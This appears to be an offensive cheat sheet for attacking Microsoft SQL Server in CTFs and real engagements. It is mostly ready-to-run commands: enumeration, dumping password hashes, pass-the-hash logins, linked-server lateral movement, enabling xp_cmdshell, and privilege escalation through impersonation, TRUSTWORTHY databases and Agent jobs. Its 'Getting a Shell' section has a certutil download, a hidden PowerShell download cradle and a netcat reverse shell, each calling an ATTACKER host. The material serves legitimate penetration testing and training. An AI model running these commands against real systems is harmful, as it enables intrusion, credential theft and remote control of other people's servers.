Microsoft SQL Server shows up constantly in CTFs and real engagements, running as a service account with over-provisioned privileges, exposed on 1433, or reachable through a chain of linked servers across a domain. I put this together because I kept losing time mid-box hunting for the same commands. Everything from initial enumeration to code execution and privilege escalation, in one place.
Enumeration
Version and Server Info
SELECT @@VERSION;SELECT @@SERVERNAME;SELECT DB_NAME();SELECT HOST_NAME();
-- Who are we?SELECT SYSTEM_USER; -- server-level loginSELECT USER_NAME(); -- database userSELECT CURRENT_USER;
-- Are we sysadmin? (server role check)SELECT IS_SRVROLEMEMBER('sysadmin');
-- Are we db_owner in current db?SELECT IS_MEMBER('db_owner');Listing Databases
SELECT name FROM master.dbo.sysdatabases;
-- Alternative using sys catalogSELECT name FROM sys.databases;
-- Who owns each database?SELECT name, suser_sname(owner_sid) AS owner FROM sys.databases;
-- Switch to a databaseUSE dbname;Tables and Columns
-- All tables in current databaseSELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE';
-- Using sysobjects (older but still works)SELECT name FROM sysobjects WHERE xtype = 'U';
-- Columns in a specific tableSELECT column_name, data_typeFROM information_schema.columnsWHERE table_name = 'tablename';
-- Find juicy columns in current databaseSELECT table_catalog, table_name, column_nameFROM information_schema.columnsWHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%' OR column_name LIKE '%cred%' OR column_name LIKE '%token%' OR column_name LIKE '%hash%';Users and Permissions
-- Server-level loginsSELECT name, type_desc FROM sys.server_principalsWHERE type IN ('S', 'U', 'G');
-- Database usersSELECT name FROM sys.database_principalsWHERE type NOT IN ('R', 'C');
-- What can the current user do at the server level?SELECT * FROM fn_my_permissions(NULL, 'SERVER');
-- Database role membershipsSELECT r.name AS role, m.name AS memberFROM sys.database_role_members rmJOIN sys.database_principals r ON rm.role_principal_id = r.principal_idJOIN sys.database_principals m ON rm.member_principal_id = m.principal_id;
-- Who is sysadmin?SELECT name FROM sys.server_principalsWHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;
-- All server role membershipsEXEC sp_helpsrvrolemember;Stored Procedures and SQL Agent Jobs
SQL Agent jobs are often overlooked during enumeration. They run as a service account or proxy and are a useful privesc path.
-- List stored proceduresSELECT name FROM sys.objects WHERE type = 'P';
-- SQL Agent jobsSELECT job_id, name, enabled FROM msdb.dbo.sysjobs;
-- What commands do those jobs run?SELECT j.name AS job, s.commandFROM msdb.dbo.sysjobs jJOIN msdb.dbo.sysjobsteps s ON j.job_id = s.job_id;Authentication and Login
Connecting with Impacket mssqlclient
Impacket's mssqlclient.py is the go-to tool for interacting with MSSQL from Linux. It supports both SQL and Windows authentication, and pass-the-hash.
# SQL authenticationmssqlclient.py user:password@TARGET
# Windows / domain authenticationmssqlclient.py DOMAIN/user:password@TARGET -windows-auth
# Pass-the-hash (no plaintext needed)mssqlclient.py DOMAIN/user@TARGET -hashes :NTLMhash -windows-authConnecting with sqlcmd (On-Box)
When you already have a shell on the Windows host:
# SQL authenticationsqlcmd -S TARGET -U sa -P password -Q "SELECT @@VERSION"
# Windows authentication (uses current token)sqlcmd -S TARGET -E -Q "SELECT @@VERSION"
# Interactive shell on local instancesqlcmd -S . -EConnecting with PowerShell
# Using .NET directly$conn = New-Object System.Data.SqlClient.SqlConnection$conn.ConnectionString = "Server=TARGET;Database=master;Integrated Security=True"$conn.Open()$cmd = $conn.CreateCommand()$cmd.CommandText = "SELECT @@VERSION"$cmd.ExecuteScalar()
# Using Invoke-Sqlcmd (requires SQLPS or SqlServer module)Invoke-Sqlcmd -ServerInstance TARGET -Query "SELECT @@VERSION" -TrustServerCertificateCredential Hunting
Before resorting to brute force, look for credentials left in config files and environment variables:
# Search config files for connection stringsGet-ChildItem -Path C:\ -Include web.config,*.config,appsettings.json ` -Recurse -ErrorAction SilentlyContinue | Select-String 'connectionString|Password|Data Source'
# Check environment variablesGet-ChildItem Env: | Where-Object { $_.Name -match 'sql|db|conn|pass' }-- Dump SQL login password hashes (needs sysadmin)SELECT name, password_hash FROM sys.sql_logins;Reading and Writing Data
Basic Data Extraction
-- Sample rows from a tableSELECT TOP 10 * FROM dbo.tablename;
-- Cross-database querySELECT * FROM dbname.dbo.tablename;
-- Row countSELECT COUNT(*) FROM tablename;Reading Files from Disk
Requires sysadmin.
-- Read a file using OPENROWSETSELECT * FROM OPENROWSET(BULK N'C:\windows\win.ini', SINGLE_CLOB) AS r;Useful files to target: web.config, appsettings.json, C:\inetpub\wwwroot\*, unattend.xml.
Writing Files to Disk
File writes typically go through xp_cmdshell or bcp:
-- Write via echo (needs xp_cmdshell enabled)EXEC xp_cmdshell 'echo pwned > C:\Windows\Temp\test.txt';
-- Export query result to file with bcpEXEC xp_cmdshell 'bcp "SELECT 1" queryout C:\Temp\out.txt -c -T -S localhost';Useful Data Tricks
-- Time-based blind SQL injection delayWAITFOR DELAY '0:0:5';
-- Conditional delay (for blind boolean checks)IF (SELECT COUNT(*) FROM master..syslogins WHERE name = 'sa') > 0 WAITFOR DELAY '0:0:5';
-- Hex to stringSELECT CONVERT(VARCHAR, 0x414243); -- 'ABC'
-- Base64 decode to binarySELECT CAST(N'' AS XML).value('xs:base64Binary("AABB")', 'VARBINARY(MAX)');Linked Server Abuse
Linked servers are one of the most underrated lateral movement paths in MSSQL environments. A low-privilege user on one instance can sometimes reach a sysadmin context on a linked server.
Enumerate Linked Servers
-- List all linked serversSELECT name, data_source FROM sys.servers WHERE is_linked = 1;
-- Check RPC out (required for EXEC ... AT)SELECT name, is_rpc_out_enabled FROM sys.servers WHERE is_linked = 1;
-- Query the linked serverSELECT * FROM OPENQUERY([LINKEDSRV], 'SELECT @@VERSION');SELECT * FROM OPENQUERY([LINKEDSRV], 'SELECT SYSTEM_USER');
-- Are we sysadmin on the linked server?SELECT * FROM OPENQUERY([LINKEDSRV], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');Execute Commands via Linked Servers
-- Run a query on a linked server (requires RPC out enabled)EXEC ('SELECT @@VERSION') AT [LINKEDSRV];
-- Enable xp_cmdshell on the linked serverEXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE') AT [LINKEDSRV];EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT [LINKEDSRV];
-- Run OS command on linked serverEXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKEDSRV];Chaining Linked Servers (Double-Hop)
When you need to hop through multiple linked servers, quotes nest exponentially. Each level doubles the single quotes:
EXEC ( 'EXEC (''SELECT * FROM OPENQUERY([REMOTE], ''''SELECT @@VERSION'''')'') AT [HOP1]') AT [LINKEDSRV];Use PowerUpSQL's Get-SQLServerLinkCrawl instead of doing this manually as it handles the quoting automatically.
xp_cmdshell and Code Execution
xp_cmdshell is disabled by default but is the most direct path from SQL to OS. It requires sysadmin.
Enable xp_cmdshell
-- Check if it's already on (value_in_use = actual running state)SELECT name, value, value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';
-- Enable itEXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Disable when done (operational security)EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;EXEC sp_configure 'show advanced options', 0; RECONFIGURE;Running Commands
EXEC xp_cmdshell 'whoami';EXEC xp_cmdshell 'whoami /priv';EXEC xp_cmdshell 'ipconfig /all';EXEC xp_cmdshell 'dir C:\';
-- Capture output into a tableCREATE TABLE #out (out NVARCHAR(4000));INSERT #out EXEC xp_cmdshell 'whoami /all';SELECT * FROM #out;DROP TABLE #out;Getting a Shell
-- Download a file with certutilEXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER/shell.exe C:\Temp\shell.exe';
-- PowerShell download cradleEXEC xp_cmdshell 'powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER/s.ps1'')"';
-- Netcat reverse shellEXEC xp_cmdshell 'C:\Temp\nc.exe ATTACKER 4444 -e cmd.exe';Alternatives When xp_cmdshell Is Blocked
OLE Automation Procedures
-- Enable OLE automation (show advanced options must be on first)EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- Execute OS command via WScript.ShellDECLARE @shell INT;EXEC sp_OACreate 'WScript.Shell', @shell OUT;EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd /c whoami > C:\Temp\o.txt', 0, 1;EXEC sp_OADestroy @shell;CLR Custom Assembly
If both xp_cmdshell and OLE automation are locked down, you can load a malicious .NET assembly as a CLR stored procedure. This requires clr enabled and UNSAFE assembly permissions. Refer to PowerUpSQL's Invoke-SQLOSCmdCLR for an automated path.
Privilege Escalation
Impersonation
MSSQL allows logins to be granted IMPERSONATE permission on other logins. This is a direct privesc vector if you can impersonate sa, you are sa.
-- Find server-level logins you can impersonate-- (major_id = the login being impersonated; grantee = you)SELECT sp_you.name AS you_are, sp_target.name AS login_you_can_impersonateFROM sys.server_permissions permJOIN sys.server_principals sp_you ON perm.grantee_principal_id = sp_you.principal_idJOIN sys.server_principals sp_target ON perm.major_id = sp_target.principal_idWHERE perm.permission_name = 'IMPERSONATE';
-- Find database-level users you can impersonateSELECT USER_NAME(grantee_principal_id) AS you_are, USER_NAME(major_id) AS user_you_can_impersonateFROM sys.database_permissionsWHERE permission_name = 'IMPERSONATE';
-- Impersonate a server loginEXECUTE AS LOGIN = 'sa';SELECT SYSTEM_USER; -- should now return 'sa'
-- Impersonate a database userEXECUTE AS USER = 'dbo';SELECT USER_NAME();
-- Revert backREVERT;TRUSTWORTHY Database Abuse
If you are db_owner of a database that has is_trustworthy_on = 1 and the database owner's server login is a sysadmin (commonly sa), you can create a stored procedure that executes as OWNER and inherit sysadmin context.
-- Find TRUSTWORTHY databases and their ownersSELECT name, is_trustworthy_on, SUSER_SNAME(owner_sid) AS ownerFROM sys.databasesWHERE is_trustworthy_on = 1 AND name != 'msdb';
-- Exploit: create procedure inside the trustworthy db with EXECUTE AS OWNERUSE trusteddb;CREATE PROCEDURE evil_proc WITH EXECUTE AS OWNER AS EXEC master..xp_cmdshell 'whoami';GO
EXEC evil_proc;SQL Agent Job Abuse
SQL Agent jobs can be created to run commands under the SQL Server Agent service account, which is often different from, and more privileged than the account running the SQL Engine.
-- Create a jobEXEC msdb.dbo.sp_add_job @job_name = 'pwnjob';EXEC msdb.dbo.sp_add_jobstep @job_name = 'pwnjob', @step_name = 's1', @subsystem = 'CMDEXEC', @command = 'whoami > C:\Temp\j.txt';EXEC msdb.dbo.sp_add_jobserver @job_name = 'pwnjob';EXEC msdb.dbo.sp_start_job 'pwnjob';
-- Read the outputWAITFOR DELAY '0:0:3';EXEC xp_cmdshell 'type C:\Temp\j.txt';
-- Clean upEXEC msdb.dbo.sp_delete_job @job_name = 'pwnjob';Tools Reference
PowerUpSQL
The most complete MSSQL auditing toolkit for Windows environments. Essential for automated enumeration and chained linked server exploitation.
# Import the moduleImport-Module PowerUpSQL.ps1
# Discover all accessible MSSQL instances in the domainGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-Object { $_.Status -eq 'Accessible' }
# Automated audit (checks impersonation, links, weak configs)Invoke-SQLAudit -Instance 'TARGET' | Out-GridView
# Check impersonation opportunitiesInvoke-SQLAuditPrivImpersonateLogin -Instance 'TARGET'
# Enumerate linked serversGet-SQLServerLink -Instance 'TARGET' -Verbose
# Crawl the full linked server chainGet-SQLServerLinkCrawl -Instance 'TARGET' -Verbose
# Run a command through the chainGet-SQLServerLinkCrawl -Instance 'TARGET' -Query 'EXEC xp_cmdshell ''whoami'''Impacket mssqlclient.py
The best tool for MSSQL interaction from Linux. Has built-in commands for enabling xp_cmdshell.
# Connect with SQL authmssqlclient.py user:pass@TARGET
# Built-in shell helper (handles enable + exec automatically)SQL> enable_xp_cmdshellSQL> xp_cmdshell whoami
# Pass-the-hashmssqlclient.py DOMAIN/user@TARGET -hashes :NTLM -windows-authsqlcmd and sqsh
# sqlcmd — output to filesqlcmd -S TARGET -U sa -P pass \ -Q "SELECT name FROM sys.databases" \ -o out.txt
# sqsh — interactivesqsh -S TARGET -U sa -P password -D master